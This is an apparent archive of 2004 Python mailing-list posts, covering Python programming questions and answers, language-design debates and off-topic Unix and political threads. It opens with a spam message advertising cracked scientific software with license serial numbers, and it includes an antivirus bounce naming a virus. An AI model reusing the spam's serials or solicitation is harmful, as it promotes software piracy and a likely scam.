(code_fu) Date: 27 Sep 2004 19:29:33 -0700 Subject: SYSTAT SigmaPlot v9.0 WinAll SR, SYSTAT SigmaStat v3.1 WinAll SR, Mathcad v11.00b, Matlab v7 R14, Mathematica Pro v5.01, Maple 9.5, SPSS V12.0, Satistica v6.0, Eviews Pro v4.1, SAS v5.0.1a, Minitab v14.12, MACKICHAN SCIENTIFIC NOTEBOOK, MACKICHAN Message-ID: <9d60078f.0409271829.4641b5f0@posting.google.com> SYSTAT SigmaPlot v9.0 WinAll SR, SYSTAT SigmaStat v3.1 WinAll SR, Mathcad v11.00b, Matlab v7 R14, Mathematica Pro v5.01, Maple 9.5, SPSS V12.0, Satistica v6.0, Eviews Pro v4.1, SAS v5.0.1a, Minitab v14.12, MACKICHAN SCIENTIFIC NOTEBOOK, MACKICHAN SCIENTIFIC WORD, MACKICHAN SCIENTIFIC WORKPLACE, ALL, new !, other SYSTAT SigmaPlot v9.0 WinAll SR Patched SYSTAT SigmaStat v3.1 WinAll SR Patched Mathsoft Mathcad Enterprise Edition v11.0b - Mathsoft Engi CD NR 12 622 MATLAB 7 Release 14 - MathWorks [2 CDs] CD NR 15 824, MAPLE V9.5 HYBRID - MAPLESOFT SN: 379316842 CD NR 15 936, week 04/2004 Wolfram.Research.Mathematica.v5.01.WinAll SPSS v12.0 - SPSS Inc. SN: 5676 5034 7681 8288 2379 1238 3252 9988 8641 9306 27 CD NR 14 459, StatSoft Statistica v6.0 Multilingual CD NR 8594, EViews 4.1 Standard Sub 100MB Serial : only numeric number Name : any name what u want CD NR 10 170, SAS JMP Statistical Discovery Software v5.0.1a CD NR 11 764, week 23/2004 MINITAB.v14.12.WiN2KXP week 45/2003 - 09 Texas Instruments Derive v6.0 MACKICHAN SCIENTIFIC NOTEBOOK, MACKICHAN SCIENTIFIC WORD, MACKICHAN SCIENTIFIC WORKPLACE, ALL, MacKichan Software Generic Crack for 16,000 more CDs, both for PC and for MAC, 'WinALL', 'WinMac', 'Multi', 'Multi-Platform', 'MultiFormat', 'MULTIOS', 'HYBRID' , 'PC/MaC', updated with new CDs twice per week, [ no dongles, no activations, etc ... needed ! ] (free donge)! No time limitation! please send e-mail, ola2 at mail.gr, astra35 at mailbox.gr, From surfmatj at email.si Tue Sep 7 05:40:10 2004 From: surfmatj at email.si (Matjaz) Date: Tue, 07 Sep 2004 11:40:10 +0200 Subject: Problems with dict and C API In-Reply-To: <1gjps70.13wrslf1onzu0wN%aleaxit@yahoo.com> References: <413C39F5.3040200@email.si> <1gjps70.13wrslf1onzu0wN%aleaxit@yahoo.com> Message-ID: Alex, thank you for this valuable piece of information. I will indeed try to use mapping protocol as much as possible. However, I am curious of the following: were the functions for setting/getting items (should be PyMapping_SetItem and PyMapping_GetItem, like that for object and dictionaries) left out on purpose, because there exist only "string" versions PyMapping_SetItemString and PyMapping_GetItemString? Matjaz. Alex Martelli wrote: > > PyIntance_New wants specifically an old-style class as its first > argument, and you're not giving that in the latter case (a subclass of > dict is intrinsically new-style) so it's diagnosing that and raising the > exception you see. Just use PyObject_Call and you should be fine. More > generally, use abstract-object-layer API calls unless you've got very > specific reasons to use something lower-level (concrete layer) -- 90%+ > of the time you'll be far happied with the AOL calls. > > BTW, to get sys.modules, I suggest you use PyImport_GetModuleDict() > rather than PySys_GetObject("modules") -- it's slightly more direct. > > > Alex From ialbert at mailblocks.com Wed Sep 22 22:26:16 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Wed, 22 Sep 2004 22:26:16 -0400 Subject: Newby Project In-Reply-To: <415230f9@dnews.tpgi.com.au> References: <415230f9@dnews.tpgi.com.au> Message-ID: dit wrote: > Also if I was to start, how do I pose myself the question of what am I > actually trying to achieve / what am I trying to make? Find some fun projects and try to duplicate them, reinvent the wheel here and there. You'll do it anyway so get it out of your system. Write your own webserver, chat or blog software. Implement a compression algorithm, write an image viewer or a text editor. You'll learn a lot in the meantime. Istvan. From __peter__ at web.de Thu Sep 23 12:50:34 2004 From: __peter__ at web.de (Peter Otten) Date: Thu, 23 Sep 2004 18:50:34 +0200 Subject: struct.unpack() and bit operations References: Message-ID: mikeSpindler wrote: > Is there an easier way to either get 16-bit "unpacks" or grab the > upper 16-bits with success? You may have a look at the array module: >>> binary_data = "PleaseDon'tShout" >>> a = array.array("H", binary_data) >>> a array('H', [27728, 24933, 25971, 28484, 10094, 21364, 28520, 29813]) >>> a[::2] array('H', [27728, 25971, 10094, 28520]) >>> a[1::2].tostring() 'eaDotSut' >>> Peter From iddw at hotmail.com Thu Sep 2 14:53:24 2004 From: iddw at hotmail.com (Dave Hansen) Date: Thu, 02 Sep 2004 18:53:24 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <1094141001.125507@teapot.planet.gong> Message-ID: <41376b7f.602254937@News.individual.net> On Thu, 02 Sep 2004 17:03:21 +0100, Rupert Pigott wrote: >John Thingstad wrote: [...] > >uKernels are *NOT* a new idea at all. They weren't a new idea when >NT was unleashed on the world. What people think of as "NT" is a big >pile of shite that obscures the uKernel. Since the graphics stuff >got put into ring 0 I think that you could legitimately claim that >BSD Unix is more of a micro kernel than NT. :) > >> (Unix tradionally has a spagetti of intercalling function calls as a >> kernel.) > >Remember NeXTStep ? QNX is another example of a microkernel OS, "unixy" without being unix. It's been around since, what, 1981? AIUI, it used to be called Q-NIX, until a certain telephone company complained. Regards, -=Dave -- Change is inevitable, progress is not. From aleaxit at yahoo.com Sat Sep 4 08:13:21 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 14:13:21 +0200 Subject: ANN: YAPDL References: <2osh02-e6i1.ln1@eskimo.tundraware.com> <1gjiagl.6vfxje4byo3dN%aleaxit@yahoo.com> Message-ID: <1gjlbjs.kpigxu1gzys0iN%aleaxit@yahoo.com> Istvan Albert wrote: > Alex Martelli wrote: > > > Python BUT would want to see points A, B and C changed: make your OWN > > language, derived from Python but with all the changes you wish. As > > > If you want a new experimental language that's sort like Python, spin off your own -- > > DON'T post here criticizing Python or trying to change it. > > This sounds very much like an excuse for not listening > to criticism. It would be technically easy, say for me, to avoid listening to the unending stream of criticism and demands for change that has been in this forum and its predecessors "since forever" -- killfiles work well for that. I still do see some problems in leaving those diatribes systematically unanswered, but, ah well, if somebody can't be bothered to do a tiny bit of homework, a little research on googlegroups say, and see how his criticisms and demands have been made and answered a thousand times in the past, I guess they deserve what they get (or don't). But as far as actual requests for help and guidance this group can be quite a bit more helpful -- I have no problem answering the same beginner question for the 100th time -- if I don't have to start killfiling systematically to avoid wasting my time in the 100th flamewar about braces versus indentation, and the like. > It is also a somewhat of a conceited statement > since not everyone has either the time or the expertise > needed to start their own language. What then? > Should those that can't make a better python just shut > up? Is their view always wrong? Not always, but frequently enough that cluttering this forum with those unending discussions substantially reduces its usefulness for its best purposes. The new languages are of course going to be much more open to any suggestion for change and innovation than a language like Python, so the new languages' discussion forums are going to be much more suitable than c.l.py for all of that jazz. If something gets proven in the field in another, experimental language, that is close in other ways to Python, then obviously that's a much better argument for it than any amount of diatribe and verbiage, which is generally all the critics in question appear to be up to offering. So, it would be of advantage to all if the critics went criticizing elsewhere. Anywhere but here and python-dev, in fact. > This sort of (IMO flawed) reasoning: 'if you don't like it make > your own' is often heard in the open source world. Arguably it is the > cause of so many redundant and unfinished pieces of software > that replicate 90% of each other's functionality yet lack the > maturity that would make them useful I entirely disagree with you: I see it as the cause of the existence of Python (Guido didn't waste time on diatribes on Perl forums -- and Perl itself, Larry ddn't waste time on diatribes on Awk forums...!), Gnome (there was a lot of diatribe on KDE forums but eventually the Gnome people did the right thing), and most other worthy technical innovations that didn't happen to be the historically first attempt in their fields. But here we're talking about examples where restarting from scratch was clearly warranted because the desired differences were so huge. More significant and relevant to the main topic are cases like OpenBSD, which doesn't at all "lack maturity" and indeed IS very useful -- I personally prefer it to FreeBSD for many security-crucial applications. If Theo had spent his time ranting and raving rather than doing, we would not have OpenBSD and I, for one, think that would be very sad. If the would-be innovators don't want to "stand on the shoulders of giants" by reusing that 90% of the other technology that they DO like, when that's feasible (and opensource makes it feasible), they're obviously pretty poor in judgment and technical savvy, infected with a bad case of NIH syndrome or something of that ilk. If they DO reuse, it's always possible (in an opensource perspective) to selectively fold some changes back -- those which have proven their worth and are judged compatible with the original 'trunk'. Much, much better to experiment with all of this _outside_ of the mainstream development of a language with millions of users and tens of millions of existing lines of code still in production and needing maintenance! > The last thing the world needs is another python-like language > with say braces or without decorators... Absolutely not: it needs yet another diatribe on this forum about say braces (decorators are a quite different case as they're still new and almost experimental) MUCH LESS than it needs anything else. Alex From noone at here.com Thu Sep 30 16:59:34 2004 From: noone at here.com (M. Clift) Date: Thu, 30 Sep 2004 21:59:34 +0100 Subject: List rotation References: Message-ID: Thanks Jeremy, I'll take a look at that. Malcolm From adalke at mindspring.com Mon Sep 20 12:52:03 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Mon, 20 Sep 2004 16:52:03 GMT Subject: Using isA and getA in a python way In-Reply-To: References: Message-ID: C Gillespie wrote: > if obj.isA(): return obj.getA() > if obj.isB(): return obj.getB() ... > Is there a nicer way of doing this, perhap going through the list > ['A','B','C',.. (Warning: Untested code. Should be enough to lead you to the right documentation if it doesn't work) for name in ['A', 'B', 'C']: if getattr(obj, 'is' + name)(): return getattr(obj, 'get' + name)() Andrew dalke at dalkescientific.com From apardon at forel.vub.ac.be Tue Sep 7 04:27:25 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 7 Sep 2004 08:27:25 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> Message-ID: Op 2004-09-07, Terry Reedy schreef : > > "Antoon Pardon" wrote in message > news:slrncjo20a.7or.apardon at rcpc42.vub.ac.be... >> No Python doesn't support end markers. That you can use an idiom of >> comments to help the humean reader in distinghuishing the end of >> a block is not the same as the language supporting end markes. > > What do mean by support? That it is part of the language. If allowing people to use some idiom of comments as end markers, would imply support for end markers in the language then I would have to conclude that C and other languages support indentation because the user is certainly allowed to indent his code correctly. when he programs in those languages. > Python allows. Redundant markers would be severe > problem if inconsistent. Well I have the following proposition. I don't expect this to be implemented in the current python implementation, maybe something for python 3000. But just think about it. For each controlstruture have a corresponding endmarker: enif, enddef, ... Now allow people to put the correspondig endmarker at the end of a suite indented the same as the control structure. So you could have something like the following def foo(): for ... : if ... : for ...: lots of code enddef rest of code. The disadvantage is of course the introduction of new keywords, but I doubt many people will use these as identifiers. The advantages are that it wouldn't break any code (except for the introduction of the keywords), if dedention is clear enough you are not forced to use an end marker. Where an end marker is used, the language can check somewhat that it is used correctly. -- Antoon Pardon From claird at lairds.us Sat Sep 25 15:08:05 2004 From: claird at lairds.us (Cameron Laird) Date: Sat, 25 Sep 2004 19:08:05 GMT Subject: floating point glitch References: <415295E6.9040602@ericsson.com> <7xzn3hcoo8.fsf@ruckus.brouhaha.com> Message-ID: In article <7xzn3hcoo8.fsf at ruckus.brouhaha.com>, Paul Rubin wrote: >David O'Farrell writes: >> Is this only on solaris ? > >No, it's inherent in how floating point conversions work. It happens >on all IEEE 754 machines. You don't need that fancy list-append stuff >to see it happen. Just type > >>>> 66.6 >66.599999999999994 > Next time someone tries to Wikify the definitive response to these FAQs (I don't feel up to it myself, this week), let me recommend mention of "Computing over the Reals: Where Turing Meets Newton" . From john.thingstad at chello.no Thu Sep 2 18:40:14 2004 From: john.thingstad at chello.no (John Thingstad) Date: Fri, 03 Sep 2004 00:40:14 +0200 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: On Thu, 2 Sep 2004 21:44:46 +0000 (UTC), Andre Majorel wrote: > On 2004-09-02, John Thingstad wrote: >> On Thu, 2 Sep 2004 18:19:43 +0000 (UTC), Andre Majorel >> wrote: >> >>> On 2004-09-02, John Thingstad wrote: >>> >>>> The fact that the NT kernel is not entirely stable yet really >>>> shouldn't supprise anyone. Afterall Unix has messed with it's >>>> kernel for 30 years. >>> >>> I feel compelled to point out that Linux achieved considerably >>> better stability after just a few years. >>> >> >> I feel compelled to replay that Linux is based on the Posix standard >> which is basically a recipie for writing unix. They did not write a >> new operating system. They implemented a tested and proven one. > > Are you arguing that the stability comes from the API, not from > the implementation ? If so, why has NT become more stable over > the years, since its API has not changed ? > No but the algorithms for memory management, disk mangement and FTP in unix were well documented at the time. Linux Pauling started out with minix and then went on to make a (mostly) posix compliant unix. Seem to remeber this from my student days. Operating Systems (design and implication) Andrew S. Tanenbaum Intrucudes minix, a mini unix compatible with version 7 of unix. (Not to be confused with system V.. the roman numerals were introdused by AT&T) -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From elbertlev at hotmail.com Thu Sep 16 22:19:27 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 16 Sep 2004 19:19:27 -0700 Subject: too many self References: <4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca> <10kjrvs2hmb19a5@corp.supernews.com> Message-ID: <9418be08.0409161819.42d301dc@posting.google.com> aurora wrote in message news:<10kjrvs2hmb19a5 at corp.supernews.com>... > Peter Hansen wrote: > > aurora wrote: > > > >> On Wed, 15 Sep 2004 23:14:47 +0200, Diez B. Roggisch > >> > >>> class ThreadPrinter: > >>> def __init__(self): > >>> _.fhs = {} > >>> > >>> def write(self, value): > >>> f = _.fhs.get(threading.currentThread(), > > > > .... > > > >> Thanks this is a nice idea. I hope Python would actually support the > >> '_' syntax. The self really reduce readablity, especially if you have > >> several of them in one line. > > > > > > It does! One just has to be consistent within each function. > > Diez changed the code from something like this: > > > > def __init__(_): > > _.fhs = {} > > > > def write(_, value): > > f = _.fhs.get(threading.currentThread(), > > ... > > > > Some would argue that this is actually less readable, however, > > since it uses punctuation instead of a word. If nothing else, > > you run into a bit of a conflict between your own technique, > > with "_", and the vast majority of the rest of the Python world, > > which uses "self" exclusively, leading to situations like this > > one... > > > > (I think if I had a routine that really heavily used self, > > to the obvious detriment of readability, and it wasn't clear > > how else to improve it, I would use a local assignment at > > the top to make a shorter name, perhaps "s", or even "_" -- > > but I wouldn't use the possibility of such a thing as a > > justification for using _ everywhere.) > > > > -Peter > > Didn't aware that _ itself is a valid identifier! True, you don't really > want to do things differently from convention. I'm just ranting about > the verbosity of self. > > This doesn't take a complicated statement to make it really clumsy. Some > simple statement would look like this: > > if self.max < self.list[self.index]: > self.max = self.list[self.index]: > > Replacing self with _, depends on one's aesthetic, it could be ugly or > it could be cleaner. I like it that it is not a word and it does not > interfere with the keywords that's really relevant. > > if _.max < _.list[_.index]: > _.max = _.list[_.index]: > > Of couse I think this syntax the best: > > if max < list[index]: > max = list[index]: > > This remind me of those awful Hungarian notation. > > aurora Please do not do this, please... Recently I was working with a modules written by a programmer, who used "_" instead of "self". This was so "not in line" with the rest of the system, that it took me extra hour or two to get accustomed and switch back and force (self in "standard" modules and _ in "economical"). From RAV at my-fortress.com Wed Sep 29 01:05:55 2004 From: RAV at my-fortress.com (RAV at my-fortress.com) Date: Wed, 29 Sep 2004 05:05:55 +0000 Subject: Fortress AntiVirus scan results Message-ID: <20040929050555.5D18BE192@mail.expressit.com.au> RAV AntiVirus for OpenBSD i386 version: 8.3.2 (snapshot-20020110) ---------------------------- Fortress AntiVirus Results ---------------------------- The following are the results of an AntiVirus scan on the email sent by python-list at python.org to joseph at expressit.com.au, with the subject 'Re: Word file'. The file (part0002:document_word.pif) (attached to the email) is infected with virus: Win32/Netsky.D at mm Cannot clean this file.The file (part0002:document_word.pif) contained a virus and was deleted by Fortress AntiVirus.---------------------------- This is a copy of the email header: Received: from expressit.com.au (113.a.010.mel.iprimus.net.au [210.50.200.113]) From littlejohn.75 at noos.fr Tue Sep 21 12:20:46 2004 From: littlejohn.75 at noos.fr (F. Petitjean) Date: 21 Sep 2004 16:20:46 GMT Subject: Python as alternative to Visual Basic References: Message-ID: <415054de$0$21757$626a14ce@news.free.fr> On Tue, 21 Sep 2004 17:38:30 +0200, Fred wrote: > On Mon, 20 Sep 2004 21:01:43 -0600, Dave Brueck > wrote: >>And don't forget ctypes! Although not a Windows-only tool, on a Windows system >>it opens the door to pretty much every Win32 API there is, all from pure Python. > > Is there a framework that uses ctypes and wraps the Windows API as a > set of classes? I'd rather use the native Windows widgets instead of > using wxWidgets or Qt, but I don't really like PythonWin/MFC. > > Fred. Yes : venster http://venster.sourceforge.net and here is a way to be explicit in the Windows API : def prototype(func, result_type, *argstypes): """prototype(func, result_type, *argstypes) -> None Set the prototype of function func""" func.restype = result_type func.argtypes = argstypes _user32 = windll.user32 DefWindowProc = _user32.DefWindowProcA prototype(DefWindowProc, LRESULT, HWND, UINT, WPARAM, LPARAM) and so on (in windows.py) regards. From fuzzyman at gmail.com Tue Sep 14 09:13:45 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 14 Sep 2004 06:13:45 -0700 Subject: File upload by urllib2 References: <6f402501.0409130218.2901e871@posting.google.com> <87r7p60w4y.fsf@pobox.com> Message-ID: <6f402501.0409140513.55a4c63f@posting.google.com> jjl at pobox.com (John J. Lee) wrote in message news:<87r7p60w4y.fsf at pobox.com>... > fuzzyman at gmail.com (Michael Foord) writes: > > > Does anyone know how to do a 'file upload' using urllib2 ? > > There is an example of doing file upload using httplib - on > > activestate python cookbook. > [...] > > Actually, more relevant than my previous post: > > http://www.google.com/groups?threadm=cpa4qmi9h3i.fsf%40cabernet.nelson.monkey.org > > > Modifying the recipe that's pointed to from that thread very slightly > for urllib2 (untested!): > > def post_multipart(url, fields, files): > content_type, body = encode_multipart_formdata(fields, files) > headers = {'Content-type': content_type, > 'Content-length': str(len(body))} > req = urllib2.Request(selector, body, headers) > r = urllib2.urlopen(req) > return r.file.read() > > > If you get trouble, note my comment in that thread about bad servers. > > > > John Interesting, I'll give it a try. Thanks Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From thorsten at thorstenkampe.de Mon Sep 20 07:15:42 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Mon, 20 Sep 2004 13:15:42 +0200 Subject: python is going to die! =( References: Message-ID: <2gajld4x8kej$.dlg@thorstenkampe.de> * julio (2004-09-20 01:53 +0200) > Jeremy Bowers wrote: >> On Sun, 19 Sep 2004 17:58:44 -0400, julio wrote: >>> It realy makes no sense , no sense at all. >> >> C# is that-a-way ---> > So am i missing something ? are any of my arguments wrong ? again : Let me correct this: "So am I missing something? Are any of my arguments wrong? Again:" Maybe there is no real enterprise class IDE for Python but Python won't "die" of that. As many people have stated: because of the exorbitant complexity of C++ and Java these languages need an IDE to master them while Python doesn't. But anyway: the days of one-language IDEs are gone. Do you want a different IDE for all your programming languages? Komodo is a step into the right direction. Your other "arguments": The google jam doesn't look for Perl or C programs either. Does it mean that Perl or C are going to die? C# may have all the advantages a compiled language has - but also every disadvantage. Do you really think that you will get a clue what "return MOM" means - just because you know it returns a string? The type of an object is not important. By the way: mind your language. If you want to be taken seriuosly, you shouldn't write like a twelve year old child on steroids. Thorsten From firstname at lastname.pr1v.n0 Sat Sep 11 02:01:34 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Sat, 11 Sep 2004 08:01:34 +0200 Subject: Xah Lee's Unixism References: <1ctshc.kd52.ln@via.reistad.priv.no> <10k4ee1l5tavtf9@corp.supernews.com> Message-ID: In article <10k4ee1l5tavtf9 at corp.supernews.com>, SM Ryan wrote: ># I just don't get it. The stated agenda is either misstated, or grossly ># misimplemented. > >You haven't been listenning carefully enough. The agenda is to destroy the UN. >Neo-conservatives recognise that if the UN becomes powerful enough to deal with >people like Saddam Hussein, then it can deal with Bush as well. People >like Kissinger are still running around as big shots in America while other >countries consider him a war criminal. This is not the stated agenda; but it may sound plausible. There is enough UN-bashing going around to support it. >There are actually idiots that believe the US will remain the most powerful >military forever (or until God ends the world a few years from now). The >rest who know that power is fleeting have two options: construct a world of >comprehensive cooperative political structures, or batter any possible opponents >so they cannot attack the eventually weakenned US. > >The first choice was the one (more or less) followed by the US since about 1945 >through 2000. It has a long history of success behind: while not yet of that scale, >the notion of uniting disparate political units to a larger whole for mutual >security and mutual trade has worked time and time again: modern England out of the >old feudal lords, or the US out of thirteen colonies. Up side: long term peace and >stability for your grandchildren. Down side: your own power is eclipsed by the >centralised power. > >The second choice has been followed by the US since 2001. Again there is a long >history behind, always ending in failure: Persian empires, Roman Empires, Chinese >empires, etc. You can never inflict enough damage on your opponents so that once >you do weaken they cannot strike back and eviscerate your corpse. Up side: you >continue to live in wealth and luxury as long as you die before the bill comes due. >Down side: your grandchildren will curse your name if they survive. > >So why follow a course known to end in disaster? Pride? Greed? Delusion that >the end of the world is nigh and God will forgive warmaking and genocide? Unilateralism can work for a while; as long as you switch back before it is too late. Look at Holland and Britain for examples of successes. But it still does not explain Iraq, except as a bungled attempt at unilateralism. It expecially does not explain Bremer. Bremer is a PHB. You would expect someone like Patton. Perhaps the right people didn't want the job? To get in control of a hostile country requires you to take hard action immediatly. When someone blows a bomb you set a curfew in that province for months, and shoot everyone that doesn't respect it; meanwhile you walk through the whole place looking for the culprits. Perhaps they didn't have stomack for this brutality? >There is a second agenda which is also being implemented successfully. Conservatives >want to dismantle government because it interferes with their private pursuit >of profit and power (see also Miliken and Quatrone). Actually repealing the legal >framework has been unsuccessful: no matter how appealing their claims about taxes >and regulation, when push comes to shove, most people want a government that's >powerful enough to provide for the sick and old, stop quacks from killing patients, >stop manufacturers from killing customers, and to have water and air that are not >fatal to touch. > >So since 1980 the conservatives still whine about big government, but they are quite >happy to increase the government size and expenditure. While cutting taxes. The net >effect is a government that is increasingly in debt. The long term goal is to get >the government so heavily indebted that it can no longer borrow money. Then it will >collapse of its own dead weight. A weak central government is also a stated goal, but not a mainstream Republican one. The official policy is a strong, but limited one. -- mrr From aleaxit at yahoo.com Mon Sep 27 13:11:14 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 27 Sep 2004 19:11:14 +0200 Subject: Metaclass with name overloading. References: <3c13hh0e.fsf@python.net> Message-ID: <1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com> Thomas Heller wrote: ... > It won't work for ordinary attributes, but for overloading methods you > should be able to play some tricks with decorators and sys._getframe(). Great idea... love it!!! To clarify it a bit for people who may not be as familiar with internals as Mr Heller...: a decorator 'sees' the method it's decorating "at once", so it doesn't matter if that method's name later gets trampled upon... as long as the decorator can stash the original away somewhere, and the frame in which the class body is executing is just the right 'somewhere'. A code snippet may be clearer than words...: import sys, itertools _ignore_method = object() def overloaded(f): d = sys._getframe(1).f_locals n = '__overloaded__%s__%%d' % f.func_name for i in itertools.count(): nx = n % i if nx in d: continue d[nx] = f break return _ignore_method class blop: @ overloaded def f(self): return 'first f' @ overloaded def f(self): return 'second f' print blop.__dict__ so, class blop doesn't really have an 'f' (it does have it in the __dict__, but it's a dummy '_ignore_method' entry with a suitable custom metaclass would easily prune!-) but has __overloaded__f__0 and __overloaded__f__1 methods (which, again, a suitable custom metaclass could do whatever wonders with!-). For overload purposes, you might have the decorator actually take as arguments some _types_ and record them so that the metaclass can arrange for the dispatching based on actual-argument types... If you bletch at having to decorate each overloaded version with '@overloaded', consider C# basically requires that "just BECAUSE", without even having a good excuse such as "we need to do it that way due to Python's semantics"...;-) Alex From cgibbs at kltpzyxm.invalid Thu Sep 2 21:18:10 2004 From: cgibbs at kltpzyxm.invalid (Charlie Gibbs) Date: 02 Sep 04 17:18:10 -0800 Subject: Xah Lee's Unixism References: Message-ID: <989.741T521T10384218@kltpzyxm.invalid> In article , john.thingstad at chello.no (John Thingstad) writes: >On Thu, 02 Sep 2004 16:13:20 -0700, Alan Balmer >wrote: > >> On Fri, 03 Sep 2004 00:40:14 +0200, "John Thingstad" >> wrote: >> >>> well documented at the time. Linux Pauling started out with minix >>> and then went on to make a (mostly) posix compliant unix. >> >> Linux Pauling? I know about Linus Torvalds and Linus Pauling . >> I don't think the latter had much to do with Linux. > >lol.. oops. No Pauling was a nobel prize winning chemist. >No idea why that came out. (assosiative memory can be a bich) They were both heavily into C. For one, it was the language; for the other, the vitamin. -- /~\ cgibbs at kltpzyxm.invalid (Charlie Gibbs) \ / I'm really at ac.dekanfrus if you read it the right way. X Top-posted messages will probably be ignored. See RFC1855. / \ HTML will DEFINITELY be ignored. Join the ASCII ribbon campaign! From prep at prep.synonet.com Fri Sep 3 14:28:40 2004 From: prep at prep.synonet.com (Paul Repacholi) Date: Sat, 04 Sep 2004 02:28:40 +0800 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <4134a207$0$65568$a1866201@newsreader.visi.com> <4135ce4a$0$19726$61fed72c@news.rcn.com> <41371ba4$0$19723$61fed72c@news.rcn.com> Message-ID: <87d613mckn.fsf@k9.prep.synonet.com> jmfbahciv at aol.com writes: > In article , > rpw3 at rpw3.org (Rob Warnock) wrote: >> wrote: >>+--------------- >>| rpw3 at rpw3.org (Rob Warnock) wrote: >>| >| Consider the "PIP" command. >>| >+--------------- >>| > >>| >Indeed. And COPY & DEL & DIR, etc. >>| >>| Well, not quite :-). COPY and DELETE called PIP via a CCL >>| command. DIRECT became its own program. To do a directory >>| using PIP required a switch and wasn't a monitor level command. >>+--------------- >>Yes, I knew that. What I was trying to convey is that the *names* >>of those DOS commands had also been copied from the DEC lineages. >>That is, COPY/DEL/DIR rather than cp/rm/ls. They are not DOS commands, thay are CPM commands that just happened to report for duty in redmondia. > IIRC, those verbs didn't show up until after 4S72 of TOPS-10 (it > wasn't TOPS-10 back then either). I would also suspect that the PIP > didn't originate at DEC either. A lot of those guys did work at MIT > before they coalasced into a startup company. All of them where in the 4.x monitir I used. many of the 427 source file are on Tim's site, so you can have a look in COMTAB and see. > My whole point is that attributing who started it is not as > interesting as how the "it" flowed through the biz. -- Paul Repacholi 1 Crescent Rd., +61 (08) 9257-1001 Kalamunda. West Australia 6076 comp.os.vms,- The Older, Grumpier Slashdot Raw, Cooked or Well-done, it's all half baked. EPIC, The Architecture of the future, always has been, always will be. From cgibbs at kltpzyxm.invalid Thu Sep 9 19:28:13 2004 From: cgibbs at kltpzyxm.invalid (Charlie Gibbs) Date: 09 Sep 04 15:28:13 -0800 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> Message-ID: <1549.748T655T9283520@kltpzyxm.invalid> In article , john.thingstad at chello.no (John Thingstad) writes: >On Thu, 09 Sep 04 13:12:17 GMT, wrote: > >> I really want to know. People keep saying this but never say which >> freedoms have been lost. > >Since this is somewhat related to computer programming and AI I will >reply. > >The US has started a initiative to integrate all information about >people in the USA into a central database. Not just people in the USA. >This includes confidential information like your medical files. >The main challenge in computing is sieving through the amount of data. >Politically it is to pressure the foreign governments to wave their >privacy protection acts and allow unlimited access to information to >a foreign power. It's been revealed that here in British Columbia (that part of Canada on the Pacific coast for those of you who are geographically challenged), management of medical information has been farmed out to a subsidiary of a U.S. corporation. According to the Patriot Act, the U.S. government is entitled to access these files, and anyone - American or Canadian - who so much as mentions that they're doing it can be thrown into a U.S. jail. >Don't know what you think of this but it scares the hell out of me! Me too. -- /~\ cgibbs at kltpzyxm.invalid (Charlie Gibbs) \ / I'm really at ac.dekanfrus if you read it the right way. X Top-posted messages will probably be ignored. See RFC1855. / \ HTML will DEFINITELY be ignored. Join the ASCII ribbon campaign! From ialbert at mailblocks.com Fri Sep 3 11:40:18 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 03 Sep 2004 11:40:18 -0400 Subject: print with no newline In-Reply-To: References: Message-ID: <--ydnfchea__DaXcRVn-tA@giganews.com> Tim Golden wrote: > This point of view comes up from time to time on the list > and for the life of me I can't buy into it. Putting aside > the obviously tongue-in-cheek implication that only beginners > would use print, I have almost never found print to be > "confusing... or otherwise undesirable". It does exactly > what I expect it to do with the minimum of syntactic clutter. My feelings exactly. There's nothing wrong with print. Leave it alone or else. For those who want full control use the write method of the object you are writing to. It is not complicated. Istvan. From dan.gass at gmail.com Mon Sep 13 02:12:37 2004 From: dan.gass at gmail.com (Dan Gass) Date: 12 Sep 2004 23:12:37 -0700 Subject: ConfigParser Alternative (a request to help you) Message-ID: I've written a Python module (available at https://sourceforge.net/projects/config-py/ see "Home Page" for documentation, "Files" for download) that provides easy access to configuration file settings for control of script execution. The method is extremely flexible and powerful because of the use of python to define settings and its optional heirarchical settings organization. I would like to improve the documentation (and possibly the API) so that it is more useful to others. I am willing to help those that have difficult configuration issues to apply this module to solve your problem. Without experience using this module, it may not be obvious from the current documentation how to take advantage of it. I want to rewrite the documentation after I gain more perspectives and include in it a collection of recipes that resulted from this request. For quicker responses, please copy my personal email account when mailing to this news group (dan.gass at gmail.com) Dan Gass You may never find a free lunch, but at least you can get free help! From FBatista at uniFON.com.ar Wed Sep 1 14:11:05 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Wed, 1 Sep 2004 15:11:05 -0300 